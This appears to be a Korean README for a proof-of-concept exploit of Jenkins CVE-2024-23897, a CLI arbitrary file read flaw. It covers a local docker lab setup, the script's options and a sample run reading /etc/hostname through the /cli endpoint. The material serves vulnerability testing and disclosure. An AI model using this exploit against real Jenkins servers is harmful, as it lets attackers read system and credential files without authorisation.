
Jenkins CVE-2024-23897용 PoC
CVE-2024-23897에 대한 개념 증명(PoC)으로, Jenkins의 내장 명령줄 인터페이스(CLI)의 임의 파일 읽기 취약점입니다. 인증되지 않은 공격자가 Overall/Read 권한을 가지고 Jenkins 컨트롤러 파일 시스템에서 임의 파일을 읽을 수 있습니다.
영향받는 버전
docker compose를 사용하여 로컬 취약한 인스턴스를 실행합니다:
cd docker
docker compose up -d
인스턴스는 http://localhost:1234에서 접근 가능합니다.
❯ python CVE-2024-23897.py --help
usage: CVE-2024-23897.py [-h] [--url URL] [--file FILE] [--method {1,2,3}]
Jenkins CVE-2024-23897 file-read PoC
options:
-h, --help show this help message and exit
--url URL URL for Jenkins instance (default: http://localhost:1234)
--file FILE File to read (default: /etc/hostname)
--method {1,2,3} The method to use [connect-node(1), who-am-i(2), or help(3)] (default: 1)
예제
❯ python CVE-2024-23897.py --url 'http://127.0.0.1:1234/' --file '/etc/hostname'
[i] Vulnerable to CVE-2024-23897 (Jenkins v2.441 <= 2.441)
[*] Target URL http://127.0.0.1:1234/cli?remoting=false
[*] Attempting to read /etc/hostname
[i] Download request done
[+] Found data, printing...
ERROR: No such agent "jenkins_vuln_instance" exists.
[i] Upload request done
[i] All threads completed
이 스크립트는 동시성 및 연결 시간 초과로 인해 큰 파일을 읽는 데 문제가 있을 수 있습니다. 취약점에 대한 자세한 기술 정보와 설명은 제 블로그 게시물을 참조하세요.